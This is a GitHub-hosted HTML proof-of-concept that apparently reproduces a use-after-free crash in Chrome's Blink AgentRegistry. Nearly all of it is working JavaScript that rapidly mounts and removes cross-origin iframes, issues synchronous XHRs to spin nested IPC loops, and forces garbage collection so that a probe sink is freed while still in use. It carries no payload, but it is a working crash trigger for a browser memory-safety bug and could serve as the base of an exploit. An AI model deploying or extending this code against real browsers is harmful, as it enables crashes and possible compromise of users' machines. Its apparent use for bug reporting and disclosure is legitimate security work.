-
Notifications
You must be signed in to change notification settings - Fork 44
Expand file tree
/
Copy pathAgentRegistryCrash.html
More file actions
276 lines (250 loc) · 9.58 KB
/
Copy pathAgentRegistryCrash.html
File metadata and controls
276 lines (250 loc) · 9.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Blink AgentRegistry Continuous Stress Test (IPC / GC)</title>
<style>
body {
font-family: system-ui, -apple-system, sans-serif;
margin: 25px;
background-color: #f1f5f9;
color: #0f172a;
}
h1 {
font-size: 26px;
margin-bottom: 10px;
color: #1e293b;
}
p {
margin-bottom: 20px;
line-height: 1.6;
}
.dashboard {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
gap: 20px;
margin-bottom: 25px;
}
.card {
background: #fff;
padding: 22px;
border-radius: 10px;
box-shadow: 0 4px 6px -1px rgba(0,0,0,0.05);
border-top: 4px solid #3b82f6;
}
.card h2 {
font-size: 19px;
margin-top: 0;
margin-bottom: 15px;
color: #1d4ed8;
}
button {
background-color: #3b82f6;
color: white;
border: none;
padding: 12px 24px;
font-size: 16px;
border-radius: 6px;
cursor: pointer;
font-weight: bold;
transition: background-color 0.2s;
}
button:hover {
background-color: #2563eb;
}
button.danger {
background-color: #ef4444;
border-top-color: #dc2626;
}
button.danger:hover {
background-color: #dc2626;
}
#iframe-sandbox {
display: flex;
flex-wrap: wrap;
gap: 10px;
margin-top: 20px;
padding: 20px;
background: #fff;
border-radius: 10px;
box-shadow: 0 4px 6px -1px rgba(0,0,0,0.05);
min-height: 300px;
border: 1px solid #cbd5e1;
}
iframe {
width: 120px;
height: 90px;
border: 1px solid #94a3b8;
border-radius: 6px;
background: #f8fafc;
}
#status {
font-weight: bold;
color: #10b981;
}
.busy {
color: #ef4444 !important;
}
ul {
margin: 0;
padding-left: 20px;
}
li {
margin-bottom: 8px;
}
</style>
</head>
<body>
<h1>Blink AgentRegistry Continuous Stress Test (IPC / GC)</h1>
<p>
This reproducer is a <strong>continuous, high-frequency stress test</strong> designed to trigger the
nested IPC message loop / GC reclamation Use-after-Free crash. It constantly mounts and unmounts
30 cross-origin iframes (OOPIFs) inside active engine probes while simultaneously firing synchronous XHRs
(spinning Mojo IPC loops) and forcing massive GC sweeps.
<br><br>
<strong>To reproduce the crash:</strong> Open Chrome DevTools (F12) to ensure `InspectorLogAgent` is active,
launch Chrome with <code>--js-flags="--expose-gc"</code>, then click "Start Continuous Stress Test".
</p>
<div class="dashboard">
<div class="card">
<h2>Control Panel</h2>
<button id="toggle-btn" onclick="toggleStressTest()">Start Continuous Stress Test</button>
<p style="margin-top: 18px;">Status: <span id="status">IDLE</span></p>
<p>Iframe Lifecycle Ops: <span id="ops-counter">0</span></p>
<p>Allocated Garbage: <span id="garbage-counter">0</span> MB</p>
</div>
<div class="card" style="border-top-color: #ef4444;">
<h2>Active Stress Mechanisms</h2>
<ul>
<li>30 Concurrent OOPIF Local Roots</li>
<li>High-Frequency Iframe Detachment</li>
<li>Synchronous XHR IPC Thrashing</li>
<li>Continuous Layout & Style Thrashing</li>
<li>Aggressive Heap Allocation & <code>window.gc()</code></li>
</ul>
</div>
</div>
<h2>Dynamic OOPIF Sandbox</h2>
<div id="iframe-sandbox"></div>
<script>
let isRunning = false;
let opsCount = 0;
let totalGarbageMB = 0;
const sandbox = document.getElementById('iframe-sandbox');
const statusEl = document.getElementById('status');
const opsEl = document.getElementById('ops-counter');
const garbageEl = document.getElementById('garbage-counter');
const toggleBtn = document.getElementById('toggle-btn');
// List of cross-origin URLs to enforce Out-of-Process Iframe (OOPIF) local root creation
const oopifUrls = [
'https://example.com',
'https://example.org',
'https://example.net',
'data:text/html,<h1>OOPIF Sandbox</h1>'
];
function toggleStressTest() {
isRunning = !isRunning;
if (isRunning) {
statusEl.textContent = 'CONTINUOUS STRESSING...';
statusEl.className = 'busy';
toggleBtn.textContent = 'Stop Continuous Stress Test';
toggleBtn.className = 'danger';
startStressLoops();
} else {
statusEl.textContent = 'IDLE';
statusEl.className = '';
toggleBtn.textContent = 'Start Continuous Stress Test';
toggleBtn.className = '';
sandbox.innerHTML = '';
}
}
function startStressLoops() {
if (!isRunning) return;
// 1. Maintain a pool of 30 OOPIF local roots
maintainIframePool();
// 2. Force Layout Thrashing (triggers UpdateLayout & RecalculateStyle probes)
forceLayoutThrashing();
// 3. Trigger Microtask Re-entrancy
queueMicrotask(() => {
if (!isRunning) return;
thrashIframesAndIpc();
});
requestAnimationFrame(startStressLoops);
}
// 1. Maintain Iframe Pool
function maintainIframePool() {
// Unmount a batch of existing iframes
const iframes = sandbox.querySelectorAll('iframe');
for (let i = 0; i < Math.min(iframes.length, 10); i++) {
iframes[i].remove();
opsCount++;
}
// Mount new cross-origin iframes
while (sandbox.children.length < 30) {
const iframe = document.createElement('iframe');
iframe.src = oopifUrls[Math.floor(Math.random() * oopifUrls.length)];
// Attach load and error listeners to trigger CallFunction probes during lifecycle changes
iframe.onload = () => { if (isRunning && Math.random() < 0.5) thrashIframesAndIpc(); };
iframe.onerror = () => { if (isRunning && Math.random() < 0.5) thrashIframesAndIpc(); };
sandbox.appendChild(iframe);
opsCount++;
}
}
// 2. Layout Thrashing
function forceLayoutThrashing() {
sandbox.style.width = (Math.random() * 15 + 85) + '%';
const forceReflow = sandbox.offsetWidth;
sandbox.style.backgroundColor = Math.random() < 0.5 ? '#fff' : '#f8fafc';
}
// 3. The Ultimate Core Mechanism: Detach + Sync XHR IPC + Massive GC
function thrashIframesAndIpc() {
if (!isRunning) return;
// Step A: Unmount random iframes inside an IIFE so local JS stack variables pop
(() => {
const iframes = sandbox.querySelectorAll('iframe');
if (iframes.length > 0) {
iframes[Math.floor(Math.random() * iframes.length)].remove();
opsCount++;
}
})();
// Step B: Aggressively allocate heap memory to force V8/Oilpan GC marking
allocateGarbage();
// Step C: Explicitly invoke V8 Garbage Collector if exposed via --js-flags="--expose-gc"
if (typeof window.gc === 'function') {
window.gc();
}
// Step D: Execute a synchronous XHR to spin a nested Mojo IPC message loop
// While this synchronous network request blocks, the engine idles inside a nested message loop,
// allowing Oilpan to sweep and destroy the detached CoreProbeSink before the outer probe destructor runs.
try {
const xhr = new XMLHttpRequest();
xhr.open('GET', location.href, false); // Synchronous request
xhr.send();
} catch (e) {
// Ignore network errors
}
}
function allocateGarbage() {
const garbageChunk = new Array(50000).fill('BLINK_AGENT_REGISTRY_CONTINUOUS_STRESS_TEST_GARBAGE_DATA');
const serialized = JSON.stringify(garbageChunk);
totalGarbageMB += Math.round((serialized.length * 2) / (1024 * 1024));
garbageEl.textContent = totalGarbageMB;
}
// High-frequency background interval loops
setInterval(() => {
if (!isRunning) return;
thrashIframesAndIpc();
}, 10);
setInterval(() => {
if (!isRunning) return;
maintainIframePool();
}, 25);
// Ops Counter Display Update
setInterval(() => {
if (!isRunning) return;
opsEl.textContent = opsCount;
}, 1000);
</script>
</body>
</html>